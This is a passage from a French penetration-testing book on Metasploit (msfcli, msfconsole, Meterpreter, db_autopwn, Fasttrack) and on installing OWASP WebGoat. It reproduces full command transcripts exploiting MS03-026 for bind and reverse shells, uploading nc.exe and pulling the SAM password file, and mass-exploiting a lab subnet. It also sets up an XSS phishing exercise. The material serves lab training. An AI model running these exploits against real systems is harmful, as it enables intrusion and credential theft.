5. Metasploit Nous pourrons l’installer sur notre machine attaquante afin de tester une plate-forme de pentesting. Metasploit est une plate-forme open source pour développer, tester et utiliser des exploits. Cette application, à ses débuts, était un jeu en réseau et a évolué en une plate-forme de pentesting, de développement d’exploits et de recherche de failles. Nous pourrons faire une recherche sur Google afin de trouver le paquet nécessaire sous Linux ou l’exécutable sous Windows. a. Metasploit Command Line Interface (MSFCLI)

Nous utilisons pour l’instant Metasploit 2. Pour découvrir cette application, nous allons utiliser la faille RCP DCOM exploit (MS03-026) contre notre victime, un Windows 2000 (192.168.29.15). framework2 # ./msfcli |grep 026 msrpc_dcom_ms03_026 Microsoft RPC DCOM MSO3-026 framework2 #

Nous pouvons maintenant sélectionner l’exploit. framework2 # ./msfcli msrpc_dcom_ms03_026 O Exploit Options =============== Exploit: Name Default Description -------- ------ ------- -----------------required RHOST The target address required RPORT 135 The target port Target: Windows NT SP3-6a/2K/XP/2K3 English ALL framework2 #

Nous pouvons maintenant choisir un PAYLOAD (P). framework2 # ./msfcli msrpc_dcom_ms03_026 RHOST=192.168.9.14 P Metasploit Framework Usable Payloads ==================================== win32_adduser Windows Execute net user /ADD win32_bind Windows Bind Shell win32_bind_dllinject Windows Bind DLL Inject win32_bind_meterpreter Windows Bind Meterpreter DLL Inject win32_bind_stg Windows Staged Bind Shell win32_bind_stg_upexec Windows Staged Bind Upload/Execute win32_bind_vncinject Windows Bind VNC Server DLL Inject win32_downloadexec Windows Executable Download and Execute win32_exec Windows Execute Command win32_passivex Windows PassiveX ActiveX Injection Payload win32_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter win32_passivex_stg Windows Staged PassiveX Shell win32_passivex_vncinject Windows PassiveX ActiveX VNC Server Payload win32_reverse Windows Reverse Shell win32_reverse_dllinject Windows Reverse DLL Inject win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject win32_reverse_ord

Windows Staged Reverse Ordinal Shell win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Inject win32_reverse_stg Windows Staged Reverse Shell win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute win32_reverse_vncinject Windows Reverse VNC Server Inject framework2 #

Nous allons utiliser un bind shell (win32_bind) et choisir la cible (T) : framework2# ./msfcli msrpc_dcom_ms03_026 RHOST=192.168.9.14 PAYLOAD=win32_bind T Supported Exploit Targets ========================= 0 Windows NT SP3-6a/2K/XP/2K3 English ALL framework2 #

Nous pouvons maintenant lancer l’exploit ainsi créé. framework2#./msfcli msrpc_dcom_ms03_026 RHOST=192.168.9.14 PAYLOAD=win32_bind E [*] Starting Bind Handler. [*] Sending request... [*] Got connection from 192.168.9.100:36687 192.168.9.14:4444 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>

Nous obtenons un shell Windows de la machine distante. b. Metasploit Console (MSFCONSOLE) Nous allons refaire la même chose mais avec msfconsole : framework2 # ./msfconsole + -- --=[ msfconsole v2.7 [157 exploits - 76 payloads] msf > help Metasploit Framework Main Console Help ? Show the main console help cd Change working directory exit Exit the console help Show the main console help info Display detailed exploit or payload information quit Exit the console reload Reload exploits and payloads save Save configuration to disk setg Set a global environment variable show Show available exploits and payloads unsetg Remove a global environment variable use version Select an exploit by name Show console version msf > show exploits msf > use msrpc_dcom_ms03_026 msf msrpc_dcom_ms03_026 > set RHOST 192.168.9.14

RHOST -> 192.168.9.14 msf msrpc_dcom_ms03_026 > set LHOST 192.168.9.100 LHOST -> 192.168.9.100 msf msrpc_dcom_ms03_026 > set PAYLOAD win32_reverse PAYLOAD -> win32_reverse msf msrpc_dcom_ms03_026(win32_reverse) > show TARGETS Supported Exploit Targets ========================= 0 Windows NT SP3-6a/2K/XP/2K3 English ALL msf msrpc_dcom_ms03_026(win32_reverse) > set TARGET 0 TARGET -> 0 msf msrpc_dcom_ms03_026(win32_reverse) > exploit [*] Starting Reverse Handler. [*] Sending request... [*] Got connection from 192.168.9.100:4321 192.168.9.14:1031 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>

c. Metasploit Web Interface (MSFWEB) MSFWEB lance un serveur sur le port 55555, IP 127.0.0.1. Si nous nous connectons sur ce port avec un navigateur web, nous obtenons l’interface graphique de Metasploit. Essayons d’exploiter un vnc_reverse sur la même machine que précédemment. framework2 # ./msfweb +----=[ Metasploit Framework Web Interface (127.0.0.1:55555)

Cette version peut sembler un peu vieillotte mais peut encore nous aider dans certains cas. Nous retrouvons trois liens : EXPLOITS, PAYLOADS et SESSIONS. SESSIONS ne nous servira que lorsqu’un exploit aura fonctionné pour accéder à la machine victime. Nous avons la possibilité de filtrer la recherche par service par exemple (FTP, HTTP...) ou par OS (Operating System).

Une fois que nous avons sélectionné l’exploit que nous voulons utiliser, une nouvelle fenêtre apparaît qui va nous permettre d’entrer les informations nécessaires, comme l’adresse IP de la victime, le port de la victime, notre adresse IP... Bien sûr, les informations à fournir diffèrent suivant l’exploit selectionné.

Quand l’exploit est lancé, et s’il réussit, nous avons comme dans l’exemple ci-dessus une information « [*] Shell started on session 1 ». Une fenêtre VNC apparaît alors si l’exploit a fonctionné.

d. Meterpreter Payload Meterpreter est un payload multifonction avancé qui va nous fournir un shell basique à partir duquel nous pourrons ajouter les fonctions désirées pour notre exploit. Meterpreter est un payload car il permet d’avoir un shell particulier qui va vous permettre de n’envoyer que la partie utile de vos messages (commandes) sans encapsulation des en-têtes du protocole TCP/IP par exemple. Meterpreter est très pratique parce qu’il nous proposera un shell meterpreter qui va nous permettre bien plus d’actions qu’un payload classique. Nous pourrons lancer à partir du shell meterpreter un shell bash, déposer ou télécharger des fichiers, des exécutables, faire des dumps mémoire… msf > use msrpc_dcom_ms03_026 msf msrpc_dcom_ms03_026 > show payloads Metasploit Framework Usable Payloads ==================================== win32_adduser win32_bind win32_bind_dllinject win32_bind_meterpreter win32_bind_stg win32_bind_stg_upexec win32_bind_vncinject win32_downloadexec Windows Execute net user /ADD Windows Bind Shell Windows Bind DLL Inject

Windows Bind Meterpreter DLL Inject Windows Staged Bind Shell Windows Staged Bind Upload/Execute Windows Bind VNC Server DLL Inject Windows Executable Download and Executewin32_exec Windows Execute Command win32_passivex Windows PassiveX ActiveX Injection Payload win32_passivex_meterpreter win32_passivex_stg Windows Staged PassiveX Shell win32_passivex_vncinject win32_reverse Windows PassiveX ActiveX Inject Meterpreter Payload Windows PassiveX ActiveX Inject VNC Server Payload Windows Reverse Shell win32_reverse_dllinject Windows Reverse DLL Inject win32_reverse_meterpreter win32_reverse_ord Windows Reverse Meterpreter DLL Inject Windows Staged Reverse Ordinal Shell win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Inject win32_reverse_stg Windows Staged Reverse Shell win32_reverse_stg_upexec win32_reverse_vncinject Windows Staged Reverse Upload/Execute Windows Reverse VNC Server Inject msf msrpc_dcom_ms03_026(in32_bind_meterpreter) > set PAYLOAD win32_bind_meterpreter PAYLOAD -> win32_bind_meterpreter msf msrpc_dcom_ms03_026(win32_bind_meterpreter) > set RHOST 192.168.9.14 RHOST -> 192.168.9.14 msf msrpc_dcom_ms03_026(win32_bind_meterpreter) > exploit [*] Starting Reverse Handler. [*] Sending request... [*] Got connection from 192.168.9.100:4321 192.168.9.14:1031 meterpreter>

Nous obtenons un shell meterpreter. Il faut maintenant charger le système de fichiers et des librairies dans meterpreter. meterpreter> use -m Process loadlib: Loading library from ’ext180401.dll’ on the remote machine. Meterpreter> loadlib: success. meterpreter> use -m Fs loadlib: Loading library from ’ext290706.dll’ on the remote machine. meterpreter> loadlib: success. meterpreter> help

Nous pouvons maintenant envoyer ou télécharger des fichiers, exécuter des commandes shell, gérer les processus en interactivité avec eux... meterpreter> upload /home/fasm/windows-binaries/tools/nc.exe c:\windows upload: Starting upload of ’/home/fasm/windowsbinaries/tools/nc.exe’ to ’c:\windows\nc.exe’. upload: 1 uploads started. meterpreter> upload: Upload from ’/home/fasm/windows-binaries/tools/nc.exe’ succeeded. meterpreter> download c:\windows\repair\sam /tmp download: Starting download from ’c:\windows\repair\sam’ to ’/tmp/sam’... download: 1 downloads started. meterpreter> download: Download to ’/tmp/sam’ succeeded. meterpreter> meterpreter> ps meterpreter> Process list: Pid Name Path ----- ------------ ---------00360 smss.exe \SystemRoot\System32\smss.exe 00528 csrss.exe \??\C:\WINDOWS\system32\csrss.exe 00556 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe 00604 services.exe C:\WINDOWS\system32\services.exe 00616 lsass.exe C:\WINDOWS\system32\lsass.exe 00864 svchost.exe C:\WINDOWS\system32\svchost.exe 01008 svchost.exe C:\WINDOWS\System32\svchost.exe 01084 svchost.exe C:\WINDOWS\System32\svchost.exe 01156 svchost.exe C:\WINDOWS\System32\svchost.exe 01360 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe 01588 VMwareService.exe C:\Program Files\VMware\VMware Tools\VMwareService.exe 01172 Explorer.EXE C:\WINDOWS\Explorer.EXE 01048 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe 01292 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe 01776 cmd.exe C:\WINDOWS\System32\cmd.exe 01168 logon.scr C:\WINDOWS\System32\logon.scr 17 processes. Meterpreter> meterpreter> execute -H -f cmd -c execute: Executing ’cmd’... meterpreter> execute: success, process id is 492. execute: allocated channel 6 for new process. meterpreter> interact 6 interact: Switching to interactive console on 6... meterpreter> interact: Started interactive channel 6. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>exit exit interact: Ending interactive session. Meterpreter>

e. Framework 3 Le framework 3 a été complètement réécrit en Ruby. La philosophie est la même que pour le framework 2. Les frameworks 2 et 3 sont inclus par défaut dans la BackTrack. Tout ce que nous avons vu avant est donc valable pour cette version. Modules auxiliaires Le framework 3 a intégré des modules auxiliaires très utiles comme UDP discovery sweeps et SMB host identification features. framework3 # ./msfconsole =[ msf v3.0-beta-dev + -- --=[ 132 exploits - 99 payloads + -- --=[ 17 encoders - 4 nops =[ 27 aux msf > show msf > use scanner/discovery/sweep_udp msf auxiliary(sweep_udp) > set RHOSTS 172.16.2.1/24 RHOSTS => 172.16.2.1/24 msf auxiliary(sweep_udp) > run [*] Sending 6 probes to 172.16.2.0->172.16.2.255 (256 hosts) [*] Discovered NetBIOS on 172.16.2.203 () [*] Discovered NetBIOS on 172.16.2.204 () [*] Discovered NetBIOS on 172.16.2.202 () [*] Discovered NetBIOS on 172.16.2.201 () [*] Discovered SQL Server on 172.16.2.201 (tcp=1433np=\\BA8C9725C4334BF\pipe\sql\query Version=8.00.194 ServerName=BA8C9725C4334BF IsClustered=No InstanceName=MSSQLSERVER ) [*] Auxiliary module execution completed msf auxiliary(sweep_udp) > use scanner/smb/version msf auxiliary(version) > set RHOSTS 172.16.2.201-172.16.2.204 RHOSTS => 172.16.2.201-172.16.2.204 msf auxiliary(version) > run [*] 172.16.2.201 is running Windows 2000 Service Pack 0 - Service Pack 4 [*] 172.16.2.202 is running Windows XP Service Pack 0 / Service Pack 1 [*] 172.16.2.203 is running Windows XP Service Pack 0 / Service Pack 1 [*] 172.16.2.204 is running Windows XP Service Pack 0 / Service Pack 1 [*] Auxiliary module execution completed msf auxiliary(version) > use scanner/mssql/mssql_ping msf auxiliary(mssql_ping) > set RHOSTS 172.16.2.201 RHOSTS => 172.16.2.201 msf auxiliary(mssql_ping) > run [*] SQL Server information for 172.16.2.201: [*] tcp = 1433 [*] np = \\BA8C9725C4334BF\pipe\sql\query [*] Version = 8.00.194 [*] ServerName [*] IsClustered [*] InstanceName

= BA8C9725C4334BF = No = MSSQLSERVER [*] Auxiliary module execution completed msf auxiliary(mssql_ping) > use scanner/mssql/mssql_login msf auxiliary(mssql_login) > set RHOSTS 172.16.2.201 RHOSTS => 172.16.2.201 msf auxiliary(mssql_login) > run [*] Target 172.16.2.201 does have a null sa account... [*] Auxiliary module execution completed

db_autopwn Le module db_autopwn peut être utilisé pour le port scanning et la connexion aux ordinateurs en utilisant Nmap (db_nmap), tous les résultats sont entrés dans une base de données Postgres. Suivant les ports ouverts découverts par le scan, Metasploit exécute automatiquement des exploits contre ces machines. db_autopwn n’est plus géré par Metasploit mais il est toujours possible de l’utiliser. Il nous faudra récupérer db_autopwn.rb sur Internet : https://github.com/jeffbryner/kinectasploit/blob/master/db_autopwn.rb Nous sauvegarderons ce programme dans /pentest/exploits/framework/plugins/db_autopwn.rb : root@bt:~# su postgres sh-4.1$ psql could not change directory to "/root" psql (8.4.8) Type "help" for help. postgres=# create user test with password ’test’; CREATE ROLE postgres=# create database cdaisi_db; CREATE DATABASE postgres=# msfconsole db_connect test:[email protected]/cdaisi_db db_nmap 213.136.96.12 load db_autopwn db_autopwn -t -p -e -s -b framework3 # ./start-db_autopwn The files belonging to this database system will be owned by user "postgres". This user must also own the server process. The database cluster will be initialized with locale C. creating directory /home/postgres/metasploit3 ... ok creating directory /home/postgres/metasploit3/global ... ok ... initializing dependencies ... ok creating system views ... ok loading pg_description ... ok creating conversions ... ok setting privileges on built-in objects ... ok creating information schema ... ok

vacuuming database template1 ... ok copying template1 to template0 ... ok copying template1 to postgres ... ok WARNING: enabling "trust" authentication for local connections You can change this by editing pg_hba.conf or using the -A option the next time you run initdb. Success. You can now start the database server using: postmaster -D /home/postgres/metasploit3 or pg_ctl -D /home/postgres/metasploit3 -l logfile start postmaster starting [**************************************************************] [*] Postgres should be setup now. To run db_autopwn, please: [*] # su - postgres[*] # cd /home/fasm/framework3 {*] # ./msfconsole [*] msf> load db_postgres [**************************************************************] BT framework3 # LOG: database system was shut down at 2006-12-10 06:53:28 GMT LOG: checkpoint record is at 0/33A6AC LOG: redo record is at 0/33A6AC; undo record is at 0/0; shutdown TRUE LOG: next transaction ID: 565; next OID: 10794 LOG: next MultiXactId: 1; next MultiXactOffset: 0 LOG: database system is ready LOG: transaction ID wrap limit is 2147484146, limited by database "postgres" BT framework3 # su - postgres /dev/pts/0: Operation not permitted BT ~ $ cd /home/fasm/framework3 BT framework3 $ ./msfconsole ____________ < metasploit > -----------=[ msf v3.0-beta-dev + -- --=[ 131 exploits - 99 payloads + -- --=[ 17 encoders - 4 nops =[ 27 aux msf > load db_postgres [*] Successfully loaded plugin: db_postgres msf > db_create ERROR: database "metasploit3" does not exist dropdb: database removal failed: ERROR: database "metasploit3" does not exist LOG: transaction ID wrap limit is 2147484146, limited by database "postgres" CREATE DATABASE ERROR: table "hosts" does not exist ERROR: table "hosts" does not exist NOTICE: CREATE TABLE will create sequence "hosts_id_seq" for serial column "hosts.id"NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "refs_pkey" for table "refs" NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "refs_pkey" for table "refs" ERROR: table "vulns_refs" does not exist ERROR: table "vulns_refs" does not exist msf > db_hosts msf > db_nmap-p 445 172.16.2.* Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2006-12-10 06:56 GMT Interesting ports on 172.16.2.1:

PORT STATE SERVICE 445/tcp closed microsoft-ds Nmap finished: 256 IP addresses (1 host up) scanned in 15.476 seconds msf > db_Nmap-p 445 172.16.2.* Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2006-12-10 06:57 GMT Interesting ports on 172.16.2.1: PORT STATE SERVICE 445/tcp closed microsoft-ds Interesting ports on 172.16.2.202: PORT STATE SERVICE 445/tcp open microsoft-ds Interesting ports on 172.16.2.203: PORT STATE SERVICE 445/tcp open microsoft-ds Interesting ports on 172.16.2.206: PORT STATE SERVICE 445/tcp open microsoft-ds Nmap finished: 256 IP addresses (4 hosts up) scanned in 15.323 seconds msf > db_hosts [*] Host: 172.16.2.202 [*] Host: 172.16.2.203 [*] Host: 172.16.2.206 msf > db_autopwn -p -e -r [*] Launching auxiliary/dos/windows/smb/ms05_047_pnp (1/42) against 172.16.2.206:445... [*] Launching exploit/windows/smb/ms06_066_nwwks (2/42) against 172.16.2.203:445... [*] Started reverse handler [*] Launching exploit/windows/smb/ms06_040_netapi (3/42) against 172.16.2.202:445...[*] Connecting to the SMB service... [*] Started reverse handler [*] Launching exploit/windows/smb/ms03_049_netapi (5/42) against 172.16.2.203:445... [*] Connecting to the SMB service... [*] Launching exploit/windows/smb/ms05_039_pnp (10/42) against 172.16.2.206:445... [*] Bound to 3919286a-b10c-11d0-9ba800c04fd92ef5:0.0@ncacn_np:172.16.2.202[\lsarpc]... [*] Getting OS information... [*] Command shell session 2 opened (172.16.2.1:8368 -> 172.16.2.202:1059) [*] Trying to exploit Windows 5.1 [*] Command shell session 3 opened (172.16.2.1:22349 -> 172.16.2.206:1041) msf > sessions -l Active sessions =============== Id Description Tunnel -- ---------------1 Command shell 172.16.2.1:23443 -> 172.16.2.202:1058 2 Command shell 172.16.2.1:12927 -> 172.16.2.203:1099 3 Command shell 172.16.2.1:37995 -> 172.16.2.206:1040 msf > sessions -i 1 [*] Starting interaction with 1... Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>

f. Fasttrack Fasttrack permet d’automatiser même db_autopwn, nous pourrons donc le tester. Pour cela, il faut faire aussi une petite modification avant que ce dernier ne fonctionne. Allons dans le répertoire /pentest/exploits/fasttrack/bin/ftsrc et ouvrons le fichier autopwn.py :

Nous pouvons ajouter la ligne en face du curseur (carré blanc) et ensuite enregistrer le fichier. Nous pouvons maintenant utiliser db_autopwn et fasttrack. Si nous lançons fasttrack simplement, nous obtenons cela : -----------------------------------------------Fast-Track v3.0 - Where speed really does matter... Automated Penetration Testing Written by David Kennedy (ReL1K) SecureState, LLC http://www.securestate.com [email protected] Please read the README and LICENSE before using this tool for acceptable use and modifications. ------------------------------------------------Modes: Interactive Menu Driven Mode: -i Command Line Mode: -c Web GUI Mode -g Examples: ./fast-track.py -i ./fast-track.py -c ./fast-track.py -g ./fast-track.py -g

Usage: ./fast-track.py

Nous lancerons donc ./fasttrack -i Il ne nous reste plus qu’à suivre les indications pour exécuter autopwn.

WebGoat 1. Présentation Dans la section précédente, nous avons utilisé une plate-forme d’entraînement disponible sous forme d’une machine virtuelle complète. Il peut être intéressant d’installer une plate-forme d’entraînement destinée à la découverte de failles web uniquement, mais très complète dans ce domaine. L’OWASP (Open Web Application Security Project) met à disposition une application Java nommée WebGoat, très intéressante. Le fichier à installer se présente sous la forme d’une archive WAR (Web Application Archive). Il nécessite l’installation d’un serveur Tomcat et le réglage de quelques paramètres dans les fichiers de configuration. Nous allons réaliser cette installation pas à pas dans la section suivante.

2. Installation de WebGoat Dans un premier temps il faut récupérer l’archive WAR que l’on trouve à l’adresse suivante : https://code.google.com/p/webgoat/downloads/list Ensuite, il nous faut créer un conteneur Debian6. Nous pouvons utiliser la machine WEB2 créée au premier chapitre ou en créer une nouvelle très facilement grâce au conteneur de Proxmox. Une fois que nous sommes dans une console du conteneur, nous allons installer un serveur Tomcat et une machine virtuelle Java pour faire tourner celui-ci (JRE - Java Runtime Environment). Mais dans les dépôts principaux de Debian, nous ne trouvons que OpenJDK, il faut donc modifier le fichier sources.list pour ajouter les branches contrib et non-free. Voici le nouveau contenu de notre fichier /etc/apt/sources.list : deb http://ftp.debian.org/debian squeeze main contrib non-free deb http://ftp.debian.org/debian squeeze-updates main contrib non-free deb http://security.debian.org squeeze/updates main contrib

Il faut ensuite actualiser le cache des dépôts puis faire une recherche d’un JRE pour voir si celui de Sun est bien présent : root@WEB2:/# aptitude update Get:1 http://security.debian.org squeeze/updates Release.gpg [836 B] Ign http://security.debian.org/ squeeze/updates/contrib Translation-en Ign http://security.debian.org/ squeeze/updates/main Translation-en Get:2 http://ftp.debian.org squeeze Release.gpg [1672 B] Ign http://ftp.debian.org/debian/ squeeze/contrib Translation-en Ign http://ftp.debian.org/debian/ squeeze/main Translation-en Ign http://ftp.debian.org/debian/ squeeze/non-free Translation-en

… root@WEB2:/# aptitude search jre p default-jre Standard Java or Java compatible Runtime p default-jre-headless Standard Java or Java compatible Runtime (headless) p docbook-jrefentry DocBook XML JRefEntry DTD p gcj-4.4-jre Java runtime environment using GIJ/classpath p gcj-4.4-jre-headless Java runtime environment using GIJ/classpath (headless version) p gcj-4.4-jre-lib Java runtime library for use with gcj (jar files) p gcj-jre Java runtime environment using GIJ/classpath p gcj-jre-headless Java runtime environment using GIJ/classpath (headless version) p icedtea-6-jre-cacao Alternative JVM for OpenJDK, using Cacao v icedtea6-jre-cacao p libjrexx-java automaton based regular expression API for java p openjdk-6-jre OpenJDK Java runtime, using Hotspot JIT p openjdk-6-jre-headless OpenJDK Java runtime, using Hotspot JIT (headless) p openjdk-6-jre-lib OpenJDK Java runtime (architecture independent libraries) v openjdk-6-jre-shark p openjdk-6-jre-zero Alternative JVM for OpenJDK, using Zero/Shark p sun-java6-jre

-

Nous voyons que le JRE de Sun est présent. Installons-le : root@WEB2:/# aptitude install sun-java6-jre

Lors de cette installation, nous devons accepter les termes de la licence, le logiciel n’étant pas libre. Puis nous installons le serveur Tomcat : root@WEB2:/# aptitude install tomcat6 The following NEW packages will be installed: authbind{a} libcommons-collections3-java{a} libcommons-dbcpjava{a} libcommons-pool-java{a} libecj-java{a} libservlet2.5java{a} libtomcat6-java{a} tomcat6 tomcat6-common{a} 0 packages upgraded, 9 newly installed, 0 to remove and 22 not upgraded. Need to get 5472 kB of archives. After unpacking 6911 kB will be used. Do you want to continue? [Y/n/?] Get:1 http://ftp.debian.org/debian/ squeeze/main authbind i386 1.2.0 [16.6 kB] Get:2 http://ftp.debian.org/debian/ squeeze/main libcommonscollections3-java all 3.2.1-4 [601 kB]

Get:3 http://ftp.debian.org/deb....

et stoppons le service : root@WEB2:/# /etc/init.d/tomcat6 stop Stopping Tomcat servlet engine: tomcat6. root@WEB2:/#

Nous avons indiqué l’adresse où récupérer le fichier WAR de WebGoat, mais comment télécharger celui-ci dans notre conteneur ? Nous sommes dans une console en ligne de commande ; un petit navigateur mode texte peut être très utile. Commençons par installer lynx, puis lançons-le avec l’adresse des fichiers de Webgoat : root@WEB2:~# aptitude install lynx root@WEB2:~# lynx https://code.google.com/p/webgoat/downloads/list

Nous sommes face à l’écran suivant et pouvons naviguer à l’aide des flèches du clavier. Nous nous rendons sur le fichier WAR et pressons la touche [Entrée].

Lynx nous propose alors de le télécharger en bas de la page. Attention, après le téléchargement, le fichier n’est pas encore enregistré sur le disque et il faudra indiquer à Lynx de faire cette opération. Ce fichier doit être copié dans le dossier /var/lib/tomcat6/webapps/ et renommé en webgoat.war. cp WebGoat-5.4.war /var/lib/tomcat6/webapps/webgoat.war

Il ne reste plus qu’a régler les utilisateurs dans le fichier /etc/tomacat6/tomcat-users.xml du Tomcat. Voici ce qu’il doit contenir :



Tout est prêt. Nous lançons le serveur. root@WEB2:~# /etc/init.d/tomcat6 start

L’adresse où se trouve WebGoat est http://votreip/webgoat/attack. Une identification est demandée. Le nom d’utilisateur est webgoat ainsi que son mot de passe. Une fois celle-ci faite, nous sommes face à l’écran suivant :

L’installation est terminée, nous pouvons passer à l’utilisation avec quelques exemples.

Si vous rencontrez des problèmes, nous vous invitons à lire le fichier README-5.4.txt ainsi qu’à consulter la foire aux questions dans le wiki.

3. Utilisation de WebGoat L’entraînement peut commencer en cliquant sur Start WebGoat en bas de la page. Un menu latéral présente alors une grande quantité de leçons. Voyons comment en solutionner quelques-unes.

Commençons par la toute première pour nous familiariser avec WebGoat. Nous allons dans le menu General puis Http Basics.

On nous indique qu’il faut utiliser WebScarab pour intercepter la requête. Le plus simple est de réaliser ces épreuves depuis une distribution BackTrack. Nous disposerons ainsi de tous les outils préinstallés. Lançons WebScarab depuis notre BackTrack. Il se trouve dans le dossier web du dossier pentest : root@bt:~# cd /pentest/web/ root@bt:/pentest/web# ls asp-auditor dirbuster htexploit plecost uniscan websecurify backdoors dotdotpwn joomscan powerfuzzer untidy webslayer beef dpscan mantra proxystrike vega wfuzz blindelephant fimap mopest scanners w3af wpscan burpsuite golismero nikto skipfish waffit xsser darkmysqli grabber owasp-zap sslstrip wapiti xssfuzz dirb grendel-scan padbuster sslyze webscarab root@bt:/pentest/web# cd webscarab/ root@bt:/pentest/web/webscarab# ls readme.txt webscarab-one-20110329-1330.jar root@bt:/pentest/web/webscarab# java -jar webscarab-one-201103291330.jar No plugins found! Using WebScarab.whitelistRegex pattern : null. Will not save any data for requests not matching this pattern Help set not found 04:40:39 main(Proxy.parseListenerConfig): No proxies configured!? 04:40:39 main(SSLSocketFactoryFactory.): Generating CA key 04:40:41 Listener-127.0.0.1:8008(Listener.listen): Proxy listening on 127.0.0.1:8008

Comme c’est un fichier jar, nous le démarrons avec la commande java -jar. Nous sommes alors devant WebScarab.

Pour rediriger le flux de communication entre le navigateur et le serveur, il faut régler le proxy du navigateur pour qu’il écoute sur la boucle locale sur le port 8008.

Ce réglage se trouve, dans Firefox, dans le menu Preferences, panneau Advanced (avancé), onglet Network (réseau) et Settings (paramètres). Nous cliquons ensuite sur le bouton GO du formulaire et interceptons les données avec WebScarab. Nous constatons en visualisant un POST qu’il existe dans l’en-tête un cookie et une authentification Basic.

Il nous faut modifier ces éléments et rejouer le POST pour valider l’épreuve. Un message s’affiche nous indiquant que nous venons de valider l’épreuve.

Passons à une autre leçon. Nous ne sommes pas obligés de les aborder dans l’ordre et pouvons nous entraîner sur un sujet particulier que nous voulons traiter. Prenons par exemple les failles XSS (Cross-Site-Scripting) et choisissons la première leçon de cette branche : Phishing with XSS.

Ici, on nous demande d’insérer du HTML et JavaScript dans les données du POST et de les envoyer à l’adresse indiquée. Si nous ne comprenons pas ce qu’il faut faire, ou n’arrivons à trouver la solution, nous disposons des corrections. Pour y accéder, il faut cliquer sur Solution Videos puis choisir l’épreuve que nous sommes en train de faire. Nous pouvons visualiser les solutions sous forme de vidéos Flash et même les télécharger au format swf. Dans notre cas, nous voyons le code qu’il fallait injecter dans le formulaire sur l’extrait de vidéo ci-après.

Nous choisissons d’insérer un code similaire dans notre formulaire afin de bien comprendre le mécanisme :

du texte bla bla Nom : Mot de passe :
View more...

Comments

Copyright ©2017 KUPDF Inc.
SUPPORT KUPDF